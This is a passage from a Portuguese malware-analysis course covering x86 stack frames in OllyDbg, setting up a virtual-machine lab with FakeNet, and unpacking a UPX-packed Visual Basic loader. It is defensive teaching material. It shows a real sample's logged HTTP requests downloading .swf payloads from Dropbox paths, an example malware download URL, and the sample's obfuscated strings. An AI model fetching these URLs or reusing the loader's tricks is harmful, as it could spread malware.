O argv é um ponteiro para um array de strings que contém os argumentos da linha de comando. O
exemplo abaixo mostra um programa de linha de comando e os conteúdos do argc e argv quando o
programa é executado.

programateste.exe -r filename.txt

argc = 3
argv[0] = programateste.exe
argv[1] = -r
argv[2] = filename.txt

A listagem abaixo mostra o código C para um simples programa.

Agora a listagem abaixo mostra como o código C acima fica quando é compilado, ou seja,
na linguagem assembly.
Engenharia Reversa e Análise de Malware | 37

Cada linha do código, isto é, cada endereço de memória que é mostrado à esquerda é
chamado de offset. O argc é comparado com 3 em , e o argv[1] é comparado com -r em  isto é
feito com o uso da função strncmp.
Note como argv[1] é acessado: primeiramente a localização do início do array é carregada
em EAX, e então 4 (offset) é adicionado ao EAX para obter o argv[1]. O número 4 é utilizado
porque cada entrada no array argv é um endereço para uma string e cada endereço possui 4 bytes de
tamanho em sistemas 32-bit. Se -r é fornecido na linha de comando, o código que se inicia em
será executado, que é quando nós vemos o argv[2] sendo acessado através do offset 8 do argv,
ou seja, assim como fez com o 4, ele utiliza o início do array argv e adiciona 8 bytes. Dessa forma é
fornecido um argumento para a função DeleteFileA.

2.13. Mais informações: linguagem assembly e arquitetura Intel x86

O foco do curso não é cobrir todo o conteúdo da arquitetura x86 e da linguagem assembly. A
intenção nesse capítulo foi de prover informações essenciais para lidar com a engenharia reversa de
malware.
Para conteúdo adicional existem fontes que discutem com detalhes esses assuntos, seguem
Engenharia Reversa e Análise de Malware | 38

algumas recomendações de materiais:

Manuais Intel

Volume 1: Basic Architecture


Esse manual descreve a arquitetura x86 e o ambiente de programação. Ela é útil por ajudar a
entender como a memória trabalha, incluindo registradores, layout de memória, endereçamento e a
pilha. No manual também contém detalhes sobre os grupos de instruções.

Volume 2: Instruction Set Reference


Esse é o manual mais útil para analistas de malware. Ele coloca todas as instruções assembly em
ordem alfabética e discute todos os aspectos de cada uma, incluindo o formato da instrução,
opcodes e como a instrução impacta o sistema.

Volume 3: System Programming Guide


Adicionalmente aos registradores de uso geral, a arquitetura x86 possui muitos registradores de uso
especial e instruções que impactam e auxiliam o sistema operacional, incluindo debugging,
gerenciamento de memória, proteção, gerenciamento de tarefas, interrupções e manipulação de
erros, suporte a multiprocessadores e muito mais. Caso encontre um registrador de uso especial
recorra a esse guia para descobrir como ele impacta a execução do programa.

Download dos três volumes combinados em um único PDF: http://intel.ly/u7ZHpu.

Optimization Reference Manual


Esse manual da Intel descreve técnicas de otimização de código para aplicações. Ele oferece
detalhes adicionais sobre o código gerado pelos compiladores e possui muitos exemplos de como as
instruções podem ser utilizadas de modos não convencionais.
Download: http://intel.ly/x1cLz5.

The Art of Assembly Language Programming (AoA) - Randy Hyde


É o livro mais popular da Internet sobre a linguagem assembly. Ótimo para ser consultado como
referência. Possui conteúdo completo e detalhado sobre a linguagem. Está disponível online para
ser baixado gratuitamente.
Download: http://www.artofasm.com/index.html.
Engenharia Reversa e Análise de Malware | 39

2.14. Lab-02-01 Entendo na prática o funcionamento da pilha com o


OllyDbg

Nesse Lab iremos ver na prática como uma pilha é formada na memória, praticaremos os
conceitos discutidos nesse capítulo como o layout da pilha, formação do stack frame, passagem de
parâmetros, prólogo, epílogo, acesso a variáveis locais, endereço de retorno, uso dos registradores,
etc. O Lab também será útil para apresentar a ferramenta OllyDbg, muito utilizada na engenharia
reversa de malware. O executável estudado será um trojan-banker real.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- OllyDbg
- Arquivo: Lab-02-01.exe

Passo a Passo

1- Abra o OllyDbg.

2- Clique no menu File – Open e selecione o arquivo Lab-02-01.exe.

3- Será apresentada a tela abaixo.


Engenharia Reversa e Análise de Malware | 40

Notamos quatro janelas diferentes, que correspondem à:

1. Código disassembly: essa janela exibe o código do programa que está sendo debugado. A
linha marcada é a próxima instrução que será executada.
2. Registradores: essa janela exibe o estado atual dos registradores do programa que está
sendo debugado. Quando o código vai sendo executado, esses registradores vão mudando da
cor preta para a cor vermelha caso a instrução executada modifique seu valor.
3. Memory dump: essa janela exibe o dump da memória que está sendo utilizada pelo
programa.
4. Pilha: essa janela exibe o estado atual da pilha na memória. Ela sempre exibirá o topo da
pilha a menos que você a trave clicando com o botão direito do mouse em cima dela e
escolhendo a opção “Lock address”.

Clicando com o botão do mouse em cima em uma dessas janelas ela passará a ser o foco e os
comandos e atalhos de teclado terão efeitos sobre ela.

4- Clique na janela referente ao código, pressione o atalho Ctrl + G (G de "Go") e insira o endereço
Engenharia Reversa e Análise de Malware | 41

453E58. Isso nos levará diretamente ao offset que queremos, com o trecho de código abaixo.

Obs.: Para o Olly destacar CALLs e JUMPs com cores diferentes, clique na janela de código,
clique com o botão direito e selecione Appearance – Highlighting – Jumps and calls.

Destacado em azul vemos uma chamada a função que está no endereço 00444230. Antes
dessa chamada vemos quatro PUSHs. Como discutimos, a instrução PUSH serve para colocarmos
itens na pilha e quando isso é feito antes de uma chamada de função provavelmente esses valores
são os argumentos (ou parâmetros) passados para a função. Com isso já podemos deduzir que essa
função possui quatro parâmetros.

5- Agora vamos observar a execução do programa para vermos como a pilha é formada na
memória. Clique em cima do primeiro PUSH que está no offset 00453E45. A linha será destaca,
agora pressione F2. Isso faz com que seja colocado um breakpoint nessa instrução. Quando o
programa executar irá parar nessa linha, o que nos permitirá observar com cuidado os valores da
memória e dos registradores.

6- Iremos executar o programa, para isso pressione o F9. Vemos que o offset ficou em vermelho e
preto e no rodapé da janela do OllyDbg há uma indicação de que o programa realmente parou em
nosso breakpoint.

7- Podemos debugar o programa pressionando F7 (step into) ou F8 (step over), isto é, executar cada
instrução linha a linha. A diferença do step into para o step over é que quando encontrar uma
chamada de função o step into entrará nessa função e executará linha a linha todas as suas
instruções. Já o step over pulará o código interno da função e sua execução irá para a instrução logo
abaixo do CALL, ou seja, o retorno da função. No nosso caso utilizaremos o F7 já que queremos
debugar o código interno da função.
8- Seguimos pressionando F7 até chegar à instrução CALL, a cada instrução executada repare
Engenharia Reversa e Análise de Malware | 42

cuidadosamente nos efeitos que elas provocam nas janelas dos registradores e principalmente da
pilha. A pilha terá a aparência abaixo.

No Olly vemos que ela vai crescendo de baixo para cima, porém podemos reparar que é do
endereço de memória maior para o menor, top-down. Vemos então que os quatro parâmetros para a
função já estão na pilha.

9- Siga pressionando o F7 e observando as alterações nas janelas, a execução do programa entrará


na função.

Nas duas primeiras linhas observamos o epílogo da função, onde o EBP é salvo na pilha e
em seguida recebe o valor do ESP para servir como base pointer, assim como discutimos o EBP será
utilizado para acessar variáveis locais através da expressão [EBP-valor] e parâmetros através de
[EBP+valor]. Na terceira linha vemos o uso da instrução SUB que subtrai do ESP 0x0C bytes, isso
é para reservar no stack frame espaço para as variáveis locais, que vemos sendo acessadas a partir
do offset 00444252.

10- Seguindo com o F7 até o offset 00444236, instrução abaixo do SUB, teremos o seguinte layout
da pilha.
Engenharia Reversa e Análise de Malware | 43

O valor atual do registrador EBP é 0012F8D0 e do ESP é 0012F8C4.

Vemos nesse stack frame tudo o que já discutimos até aqui. Os quatro valores abaixo
(endereços mais altos) são os quatro parâmetros passados para a função. Acima há o endereço de
retorno do programa, o OllyDbg já facilita a nossa vida no comentário em vermelho dizendo
justamente isso, esse valor é colocado na pilha automaticamente quando a instrução CALL é
executada, assim quando terminar a execução da função o programa saberá para onde voltar no
código que a chamou.
Acima do endereço de retorno há o EBP que foi salvo na pilha e será usado como ponteiro
base.
A última instrução executada até aí foi a SUB ESP, 0C, o que ela fez? Subtraindo o ESP que
é o topo da pilha ela reservou 12 bytes (0x0C) para variáveis locais nos endereços 0012F8CC,
0012F8C8 e 0012F8C4. Esse último é agora o topo da pilha, o valor que está no ESP.
E porque esses três endereços reservados estão apresentando um conteúdo estranho? Lixo
deixado por outras funções, assim que forem utilizados serão sobrescritos.

É importante entender o que foi discutido até aqui, pois é essencial para a engenharia reversa
de malware, caso tenha alguma dúvida sinta-se à vontade para perguntar, revisar, reler, até não
restar dúvidas.
Engenharia Reversa e Análise de Malware | 44

3. Laboratório para Análise de Malwares

Antes de executar um malware é necessário ter um ambiente seguro para evitar surpresas
desagradáveis. Antes de analisá-lo nunca sabemos o que ele pode provocar em nosso ambiente de
rede e computador, então de forma alguma devemos executá-lo diretamente em um computador de
produção ou de uso pessoal. Isso deverá ser feito em um sistema previamente preparado para essa
finalidade.
Atualmente o jeito mais comum e barato de se analisar um malware é com o uso máquinas
virtuais. Nesse curso iremos focar nesse tipo de ambiente, porém nada impede que tendo os
recursos necessários, a pessoa analise o malware um uma máquina real exclusiva para essa
finalidade.

3.1. Máquina virtual

Máquinas virtuais (virtual machines, VM) são como computadores dentro de outro
computador. Como é possível ver na figura abaixo, um SO convidado (guest) é instalado em um SO
hospedeiro (host) através de uma máquina virtual. Existem várias vantagens em utilizar essa
estrutura, algumas das principais são: o SO convidado fica isolado do host, os malwares que rodam
na máquina virtual não atingem o host (a menos que exista uma vulnerabilidade 0-day na VM), caso
o SO da VM seja danificado é só restaurar para o estado original, a VM toda está contida em poucos
arquivos, o que torna fácil o backup e duplicação, etc.
Existem muitas alternativas de máquinas virtuais disponíveis, cada um pode utilizar a
plataforma de sua preferência, porém como sugestões para utilização na análise de malware são
indicadas a VMWare (http://www.vmware.com) e a Oracle VirtualBox
(https://www.virtualbox.org/).
Engenharia Reversa e Análise de Malware | 45

3.2. Preparação do ambiente

Quando lidamos com malware devemos tomar alguns cuidados mesmo em máquina virtuais.
Primeiramente sempre manter o software de virtualização atualizado. Além das atualizações
fornecerem recursos adicionais para a VM, elas são utilizadas para corrigir falhas de segurança da
plataforma. Atualizando assim que for disponibilizado pelo fabricante nos deixa com as VMs livres
de vulnerabilidades conhecidas assim o malware só conseguirá “escapar” da máquina virtual através
de uma vulnerabilidade 0-day.
Outra questão crítica que devemos ficar bastante atentos diz respeito à conexão de rede da
máquina virtual, caso ela esteja mal configurada o malware poderá infectar o computador
hospedeiro e até outros hosts da rede caso esteja em uma LAN, fora isso a VM ainda poderá se
tornar um bot para atacar máquinas de terceiros, enviar spams, hospedar conteúdo ilegal, etc.

Configuração da Rede

Lidar com a rede em máquinas virtuais requer o entendimento das configurações de rede que
são oferecidas nas plataformas de virtualização mais comuns. Vejamos na tabela abaixo os modos
de rede mais utilizados.
Acesso Host-only NAT/Shared Bridged
VMs podem acessar outras VMs Sim Sim Sim
VMs podem acessar o hospedeiro Sim Sim Sim
VMs podem acessar outros computadores Não Sim Sim
O hospedeiro pode acessar VMs Sim Sim Sim
Outros computadores podem acessar VMs Não Não Sim
Engenharia Reversa e Análise de Malware | 46

A descrição dos três modos é feita a seguir:

 Host-only: Isso criada uma LAN privada compartilhada em o hospedeiro e suas VMs. VMs
não podem se comunicar com computadores externos.
 NAT/Shared: VMs podem acessar outros computadores da LAN ou Internet, mas as
conexões aparecerão vindas do IP do hospedeiro. Os outros computadores não podem iniciar
conexões com a VM a menos que seja configurado um redirecionamento de portas (port-
forwarding) no computador hospedeiro.
 Bridged: VMs compartilham o adaptador Ethernet físico do hospedeiro, mas possuem seus
próprios endereços IPs e MACs. As VMs aparecem na mesma subnet do hospedeiro. Essa é
a única configuração que permite outros computadores iniciarem conexões de entrada na
VM. E também é o único modo que permite que outras máquinas externas, como por
exemplo, um roteador ou firewall, distinguir o tráfego gerado pelo hospedeiro do tráfego das
VMs.

Escolhendo um desses modos, as máquinas virtuais permitem a simulação do cabo de rede


conectado ou desconectado. É recomendado que enquanto não estiver sendo utilizada nenhuma
função de rede, o cabo de rede permaneça no modo desconectado e quando necessário ative-o. No
VMWare isso é feito no menu Virtual Machine – Removable Devices – Network Adaptere no
VirtualBox é através do menu Dispositivos – Adaptadores de rede.
A comunicação do malware com a rede é algo essencial de ser observado em uma análise,
porém não se deve permitir que um malware desconhecido faça isso de forma indiscriminada
conectando-o diretamente à Internet. O recomendado é que se configure o adaptador de rede em
modo host-only e faça análises iniciais do artefato. Tentar descobrir o que ele pode provocar na
rede, ainda no modo host-only é possível simular a conexão com a rede utilizando ferramentas
próprias, dessa forma já será possível saber quais requisições ele fará. Faremos isso no próximo Lab
ao final desse capítulo.
Ainda assim às vezes será interessante conectá-lo à Internet para obter uma visão real do seu
funcionamento. Isso deverá ser feito levando em conta todos os riscos já citados, não é
recomendado que se faça dentro de uma rede corporativa, a menos que ela tenha sido projetada para
esse fim. A forma mais simples de configurar a máquina virtual para acessar a Internet é com o
modo NAT/Shared, ela utilizará a conexão do computador hospedeiro independentemente de como
ele se conecta a Internet, podendo ser ADSL, cabo, wireless, 3G, ou outro, será transparente para a
VM. Outra forma de conectar a VM é através do modo Bridged, assim a VM será configurada com
Engenharia Reversa e Análise de Malware | 47

seu próprio IP e MAC, como se fosse uma máquina física da rede, o IP poderá ser configurado
manualmente ou obtido através do DHCP.

Informações Pessoais

Não deixe na máquina virtual nenhuma informação pessoal que possa identificar o
computador ou a pessoa que o utiliza. Por exemplo, devem ser utilizados nomes genéricos para
nome do computador, nome de usuário, nome de pastas, grupos de trabalho, etc.
Recursos Adicionais da VM

Tanto o VMWare quando o VirtualBox, oferece a opção de instalar recursos adicionais na


máquina virtual, esses recursos facilitam a forma com que o sistema hospedeiro interage com a
máquina virtual, principalmente o compartilhamento de arquivos entre os dois. Então é
recomendada a instalação desses recursos, no VMWare chama-se “VMWare Tools” e no
VirtualBox “Adicionais para convidados”.

Pastas Compartilhadas

Um recurso que pode ser utilizado para a troca de arquivos entre o computador hospedeiro e
a máquina virtual é o de pastas compartilhadas. Permite mapear uma pasta do hospedeiro dentro da
máquina virtual, assim tudo que for colocado nessa pasta estará disponível para os dois sistemas.
Como medida de segurança caso utilize esse recurso, marque a pasta compartilhada como sendo
somente-leitura, assim a máquina virtual não conseguirá gravar nada nela e quando necessário
habilite a gravação.

Ferramentas

Após as configurações iniciais na máquina virtual é hora de instalar as ferramentas que serão
utilizadas na análise de malwares. É recomendado que se instale previamente todas as ferramentas
listadas no capítulo 1.4 para deixar o ambiente pronto para receber o malware.

Snapshots

Tirar snapshots é um conceito único das máquinas virtuais. Eles permitem salvar o estado
atual da VM e restaurá-lo posteriormente quando necessário. Isso é muito útil na análise de malware
Engenharia Reversa e Análise de Malware | 48

porque após ter o código malicioso executado e coletado as informações que queríamos, podemos
retornar ao estado original do sistema, que estava limpo antes da execução.
Após ter instalado todas as ferramentas tire um snapshot da VM para servir de estado inicial
da análise. Quando for necessário atualizar ferramentas tire um novo snapshot.

Passo a Passo do uso de VMs para analisar malwares

1. Crie uma máquina virtual com um sistema operacional limpo.


2. Faça as configurações e instale todas as ferramentas desejadas.
3. Tire um snapshot.
4. Transfira o malware para a VM.
5. Faça a análise do malware na VM.
6. Tome nota dos resultados da análise, tire screenshots e copie todos os dados conseguidos
para a máquina hospedeira.
7. Reverta a VM para o snapshot inicial limpo.

3.3. Lab-03-01 Uso de máquina virtual e simulação de rede com FakeNet

Nesse Lab iremos trabalhar com as configurações de rede da máquina virtual. Simularemos
o ambiente de rede com a ferramenta FakeNet que permite responder requisições dos protocolos
HTTP, HTTPS, DNS, ICMP e SMTP. Utilizando essa estrutura de rede não é necessário deixar o
malware sair para redes externas, o que contribui para a segurança da análise. Vale dizer também
que há malwares que quando não encontram um ambiente de rede funcional eles não executam
nada, o que dificulta a análise, por isso é tão importante ter um ambiente de rede configurado,
mesmo que simulado.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- FakeNet (http://practicalmalwareanalysis.com/fakenet/)
- Wireshark
- Arquivo: Lab-03-01.exe

Passo a Passo

1- Na sua máquina virtual configure a placa de rede para o modo Host-only conforme figura
Engenharia Reversa e Análise de Malware | 49

abaixo.

2- Através do CMD com o comando ipconfig podemos confirmar o IP atribuído à máquina virtual.

3- Se formos à máquina física e executarmos o mesmo comando podemos ver que na placa de rede
virtual foi atribuído um IP da mesma classe, formando assim uma rede privada entre as duas
máquinas (física e virtual).

4- Já com a ferramenta FakeNet instalada, execute-a através do FakeNet.exe. Com isso ela já está
escutando em diversas portas simulando um ambiente de rede completo.
Engenharia Reversa e Análise de Malware | 50

5- Diferente de outras ferramentas que só simulam os serviços de rede, o FakeNet simula o serviço
e ainda responde de acordo com a solicitação. Por exemplo, se o malware solicitar o download do
arquivo http://www.evilsite.com/infected.exe, o FakeNet vai capturar essa solicitação e fornecer um
arquivo .EXE genérico para deixar a simulação mais realista. Isso vale também caso sejam
solicitados outros tipos de arquivos, que se encontram dentro da pasta FakeNet\defaultFiles\.

6- Agora vamos ver na prática como funciona, execute o malware Lab-03-01.exe e veja o que o
FakeNet irá retornar.

[DNS Query Received.]


Domain name: dl.dropbox.com
[DNS Response sent.]

[Received new connection on port: 80.]


[New request on port 80.]
GET /u/26681756/metodoS.swf HTTP/1.1
User-Agent: HTTP Client
Host: dl.dropbox.com
Engenharia Reversa e Análise de Malware | 51

Cache-Control: no-cache
[Sent http response to client.]

[Received new connection on port: 80.]


[New request on port 80.]
GET /u/26681756/metodoD.swf HTTP/1.1
User-Agent: HTTP Client
Host: dl.dropbox.com
Cache-Control: no-cache
[Sent http response to client.]

[Received new connection on port: 80.]


[New request on port 80.]
GET /u/39262625/metodoL.swf HTTP/1.1
User-Agent: HTTP Client
Host: dl.dropbox.com
Cache-Control: no-cache
[Sent http response to client.]

[Received new connection on port: 80.]


[New request on port 80.]
GET /u/26681756/metodoAux.swf HTTP/1.1
User-Agent: HTTP Client
Host: dl.dropbox.com
Cache-Control: no-cache
[Sent http response to client.]

Com isso já descobrimos que o malware faz download de quatro arquivos swf do site
dl.dropbox.com. Caso fossemos prosseguir com a análise poderíamos baixar esses arquivos
manualmente e analisá-los.

7- O tráfego gerado pelo FakeNet ainda fica salvo automaticamente em um arquivo


packetDump_XXXX.pcap. Isso permite que ele seja aberto em outra ferramenta compatível com
arquivos PCAPs como o Wireshark.
Engenharia Reversa e Análise de Malware | 52
Engenharia Reversa e Análise de Malware | 53

4. Trabalhando com Executáveis

Executáveis ainda são os malwares mais comuns, dos milhares de spams phishings que
chegam às caixas postais todos os dias a maioria tem a intenção de instalar algum executável
malicioso no Windows.
A análise de um executável desconhecido costuma seguir uma sequência pré-estabelecida de
passos, desse modo conseguimos progressivamente extrair as informações que desejamos. Nesse
capítulo utilizaremos as técnicas da análise estática e no próximo da análise dinâmica.
Vejamos agora uma breve descrição dessas etapas, lembrando que para iniciar a análise
devemos já estar com a máquina virtual configurada, com todas as ferramentas instaladas e com um
snapshot limpo.

4.1. Identificação do arquivo

Quando vamos iniciar a análise de um arquivo malicioso não temos nenhuma informação
prévia sobre ele, não sabemos nem mesmo se é um executável legítimo, mesmo que ele tenha no
Windows a extensão.EXE isso não garante que ele seja um executável.
Então, como já vimos, a primeira coisa que devemos fazer é obter um perfil inicial do
arquivo. Para isso utilizamos as ferramentas identificadoras. Com elas saberemos se o malware em
questão é um executável, se ele possui algum tipo de proteção e caso afirmativo qual ferramenta
buscar para remover essa proteção e também na ausência da proteção saberemos o compilador
utilizado. Para obter resultados melhores é recomendável utilizar mais de uma ferramenta pois há
arquivos que são identificados em uma ferramenta e na outra não.

4.2. Unpacking Automático

Após a identificação de uma proteção no arquivo é hora de buscar uma ferramenta que
remova essa proteção. As proteções mais comuns de serem encontradas são os packers, dependendo
do grau de sofisticação e popularidade do packer pode ser fácil ou difícil encontrar uma ferramenta
de unpacking.
A ferramenta Exeinfo PE nos ajuda na tarefa de buscar um unpacker, assim que identifica
uma assinatura de packer ela nos apresenta uma dica de qual unpacker procurar. De qualquer forma,
mesmo sem a dica podemos buscar pelos termos “unpacker” ou “unpack” e o nome_do_packer.
Engenharia Reversa e Análise de Malware | 54

Mesmo encontrando o unpacker isso não é garantia que conseguiremos retirar a proteção,
muitas vezes as versões não são compatíveis ou acontece algum erro e prejudica a execução.
Por fim, para nos certificarmos que o arquivo agora está livre de proteções devemos
submetê-lo novamente à ferramenta de identificação, dessa vez ela provavelmente irá exibir o
compilar do arquivo.

4.3. Strings

Strings são sequências de caracteres, como por exemplo “essa frase”. Geralmente elas estão
dentro do malware em forma de mensagens, URLs, conexões de banco de dados, caminhos de
arquivos, chaves de registro, nome de funções, etc.
Buscar por strings é um jeito fácil e rápido de obter dicas da funcionalidade do malware.
Isso pode ser feito com o utilitário strings das Sysinternals, ele encontra tanto strings em ASCII
quanto UNICODE.
O ASCII e o UNICODE são terminados com um caractere NULL que indica para o
programa que a sequência está completa. ASCII usa 1 byte por caractere, UNICODE 2 bytes.
Vejamos a representação de duas strings nesses formatos.

ASCII
M A L W A R E NULL
4D 41 4C 57 41 52 45 00

UNICODE
M A L W A R E NULL
4D 00 41 00 4C 00 57 00 41 00 52 00 45 00 00 00

O utilitário strings, em sua configuração padrão, busca por sequências de no mínimo três
caracteres seguidos de um terminador NULL, nos dois formatos. Isso pode ser alterado através dos
parâmetros do programa.

4.4. Strings criptografadas

Nos trojans-bankers brasileiros é muito comum no momento que estamos buscando por
strings nos depararmos com uma espécie de criptografia. Isso é utilizado para esconder de olhos
Engenharia Reversa e Análise de Malware | 55

curiosos informações importante do malware, já que na maioria das vezes eles utilizam strings de
URLs, caminhos de arquivos ou conexão com banco de dados.

Apesar de a primeira vista essas strings parecem um empecilho para a análise, há meios para
reverter essa ofuscação, basicamente sempre após cada string criptografada haverá a chamada da
função que faz a descriptografia, então aí basta pegarmos o retorno dessa função com a string em
texto plano.

4.5. Debugging

O debugger nos auxilia nesse processo de executar trechos do código do malware e observar
os resultados e alterações que ele provoca na CPU e memória. Através dele conseguimos identificar
e até modificar o código do malware que está na memória.
O OllyDbg permite alterar uma instrução assembly em tempo de execução, para isso basta
dar dois cliques em cima na instrução ou apertar o <SPACE>.

4.6. Lab 04-01 Análise de executável malicioso com strings criptografadas

Nesse Lab iremos praticar os conceitos aprendidos até aqui, utilizaremos as ferramentas para
identificar o malware e descobrir pistas de suas funcionalidades. Veremos que mesmo um arquivo
aparentemente simples pode esconder informações interessantes.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- PEiD, Exeinfo PE
- strings
- OllyDbg
-Arquivo: Lab-04-01.scr
Engenharia Reversa e Análise de Malware | 56

Passo a Passo

1- A primeira coisa é obter um perfil inicial do arquivo com nossas ferramentas identificadores
PEiD e Exeinfo PE.

2- Vemos que as duas ferramentas identificaram no arquivo a presença do packer UPX, inclusive o
Exeinfo PE deu dica de como remover o packer. O UPX é o mais popular packer freeware
disponível na Internet. Esse packer foi projetado justamente para comprimir os executáveis, nada
além disso. Mesmo assim os atacantes ainda o utilizam esperando obter alguma ofuscação de
código. De fato ele consegue esconder algumas strings como podemos ver na listagem abaixo,
porém o próprio UPX possui a função de unpacking “upx –d”.

3- Com ajuda da ferramenta strings.exe vemos abaixo as strings principais encontradas no arquivo
ainda compactado com o UPX.
Engenharia Reversa e Análise de Malware | 57

:mpeiraProject1
C:\Arqu
ivos de p
gramas\Mic
ft Visual Studio\VB98
6.OLB
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
040904B0
CompanyName
ProductName
Project1
FileVersion
1.00
ProductVersion
1.00
InternalName
loader_beyb_3
OriginalFilename
loader_beyb_3.exe
KERNEL32.DLL
MSVBVM60.DLL
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess

Pouca coisa de útil, apenas uma referência ao Visual Studio/Visual Basic.

4- Agora vamos descompactar o arquivo com o “upx –d Lab-04-01.scr”.


Engenharia Reversa e Análise de Malware | 58

Nota-se que realmente o arquivo estava compactado, a taxa de compressão era de 35%.

5- Vamos submeter o arquivo descompactado para o Exeinfo PE novamente para conferir se


realmente saiu a proteção.

Agora sim, foi identificado o compilador utilizado, MS Visual Basic 5.0 ou 6.0.

6- Possivelmente encontraremos novas strings agora que está descompactado. Strings.exe entra em
ação novamente.
Engenharia Reversa e Análise de Malware | 59

mpeiraProject1
IXA\Esp
Form1
Form1
Form1
Timer5
Timer4
Timer3
Timer2
Timer1
VB5!
loader_beyb_3
Project1
Project1
@*\AC:\Documents and Settings\dilma\Desktop\Loader_BEYBAO\Project1.vbp
Form1
Module1
Module2
Module3
Module4
Project1
\Tx^
Timer4
C:\Arquivos de programas\Microsoft Visual Studio\VB98\VB6.OLB
Timer3
Timer5
Timer1
Form
Timer2
nwTW2wACnwK72kA7nwT
nkJz2SN8nSjz2SYmnHK7nSYunH2OnkjF
h,9@
CloseHandle
__vbaStrCat
Engenharia Reversa e Análise de Malware | 60

nkjOykNcnk272FAC2HAW2FYFnHAWnFYWnSpWKFKFnH2z2FYunSK
kernel32
LoadLibraryA
CreateThread
hT:@
WaitForSingleObject
FreeLibrary
GetProcAddress
h<;@
advapi32.dll
RegCreateKeyA
RegQueryValueExA
RegCloseKey
h(<@
RegSetValueExA
hp<@
nkKOnkYmnHKWnSYunSAznFYWnFpt/kA7nkYW...nF2O/SjWnFpO2FYWnA272FNwnF2Oyk
Y7
nSTOnwY7nAYO2kjOnF2F2Spo2Sj
2SjtKFpz
2SJtnFsw2Sj
nFHzykjunFHt/wNTnHKt/wY7nSKt2wKonwfFKk/TnTKFKkAFnk2
2SjtyK
nkjOykNcnSKO/SjznF27KFYunFYOnkscnkpOykYFnSfW/SKFnH2O2kjFnF2WKFKFnH2z2FYun
SK
VBA6.DLL
__vbaCastObj
__vbaNew
__vbaExitProc
__vbaFreeStrList
__vbaStrCmp
__vbaFreeVar
__vbaFreeStr
__vbaStrCopy
Engenharia Reversa e Análise de Malware | 61

B(__vbaFreeVarList
__vbaVarCat
__vbaStrVarMove
__vbaStrMove
__vbaOnError
__vbaObjSet
__vbaEnd
__vbaFreeObj
__vbaNew2
__vbaHresultCheckObj
nHAO/wN8nH2Onwj7nHAt/kY7nH2OKC
nS2O/kYOnHKz2SjCnH2t/kY7nH2OKC
nHKO/SjOnHpOnwYWnFft/kY7nH2OKC
nk2W2k/wnTY7KFKWnwK72f
nSfO/SjWnF2OnkYFnSTz2SscnSKO2Ssc2FjF2k2z2Fp...tnSAz2FN8nFAz2SYFnSAt/kYFnHYO/J
InstancesOf
nwKO2kj7nSTt2wAFnHYznkjtnS2OnK
nSfO/SjWnF2OnkYFnSTz2f
nwHO/kYunFKOykYmnH2t2wKFnSTznwYmnH2O/SYz
nkAz2FYWnFpt2wKunwK
nwpznkj7nSHO/kYm2FYFnS2O
nkJO2kjFnF2znFN8nFpOnJ
__vbaVarTstEq
__vbaVarMove
nFpOnkj7nHYz2SNcnSTW/SY7nSTOnwN8nF2
nSKO2kY7nHYz2F2m
nSKO2kY7nHYz2F2t
nSKO2kY7nHYz2F2F
__vbaVarTstNe
__vbaFreeObjList
nkjOykNc2F2F2Sa8nTYz2wYWnFpO2kj7nSHO/kYznk2zykjFnFKOnkNT
nFjOykNcnHKOnFNTnFKz2FnUn7pOykNTnFJOnkjtnF2O/SN...wYWnFpz2FN8nHAO2kj7nSAz
/J
Caption
Engenharia Reversa e Análise de Malware | 62

nk2WykAFnkK7nk/Tnkp7/S/8nkK
nA2z2FjunF2znwYWnHKF2F2tnA2
nSHOnkYOnFpO2kNTnSAt/kY7nH2OKC
nF2OywY7nHYO2FjOnFjt/kY7nH2OKC
nTKO/SqUnSHOKFNwnSTt2wKOnSHz2SYWnSYO/SjonA2OnS..FpOnkYOnHYzywscnSAzyw
YW
nA27nFYtnkJOKFjWnSjOykNcnA2O2SYt2HAOnFjCnS2
nA27nFYtnkJOKFjWnSjOykNcnA2O2kYtnHAt/kYznFJO2C
nA27nFYtnkJOKFjWnSjOykNcnA2O2FYWnSYt/kYznFJO2C
nA27nFYtnkJOKFjWnSjOykNcnA2znkNcnSHt/kYznFJO2C
nF2zykjFnFKOnkNTnSKz2SYunFYOnK
nkfWywAonkfWywAonkfWyJ
nkfWywAonkfWywa8
__vbaFPInt
__vbaStrR8
__vbaLenBstr
__vbaStrI4
__vbaNextEachCollAd
__vbaLateMemCallLd
__vbaForEachCollAd
__vbaBoolVar
__vbaVarLateMemCallLd
__vbaObjVar
__vbaObjSetAddref
nwKOKFNwnkpOnkYznSHz2Fj7nSAz2SAFnSAz2SjOnSAz2f
nwKOKFNwnkAO/kjtnSAOnFYunF2znwYWnFpW2FYWnFpznSYWnFp
nk27/SKOnkKWnFKmnkp7nkawnTKOykYFnFpO/SjFnHYOn...O2SNUnSAO2Fj7nF2WKC
__vbaVarCmpEq
__vbaBoolVarNull
__vbaVarDup
__vbaInStr
__vbaLsetFixstr
__vbaStrToUnicode
__vbaSetSystemError
Engenharia Reversa e Análise de Malware | 63

__vbaStrToAnsi
__vbaGenerateBoundsError
__vbaPowerR8
__vbaFpI4
__vbaErrorOverflow
__vbaInStrVar
__vbaVarSub
__vbaI2Var
__vbaI2I4
InternalName
loader_beyb_3
OriginalFilename
loader_beyb_3.exe

Algumas strings foram truncadas para caber na folha. Nessa listagem podemos identificar
algumas coisas:
 Presença de componentes e funções utilizadas pelo MS Visual Basic.
 Nome e local de salvamento do projeto original:
C:\Documents and Settings\dilma\Desktop\Loader_BEYBAO\Project1.vbp
 Nome original do executável: loader_beyb_3.exe.
 Strings suspeitas que seguem um padrão aleatório de caracteres, possivelmente
criptografadas:
nk2WykAFnkK7nk/Tnkp7/S/8nkK
nA2z2FjunF2znwYWnHKF2F2tnA2
nSHOnkYOnFpO2kNTnSAt/kY7nH2OKC
nF2OywY7nHYO2FjOnFjt/kY7nH2OKC

7- Vamos abrir agora o arquivo Lab-04-01.scr no OllyDbg. Após o arquivo aberto clique com o
botão direito em cima da janela de código e Search for – All referenced text strings.
Engenharia Reversa e Análise de Malware | 64

8- O Olly exibe em uma nova janela todas as strings encontradas no executável. Podemos rolar a
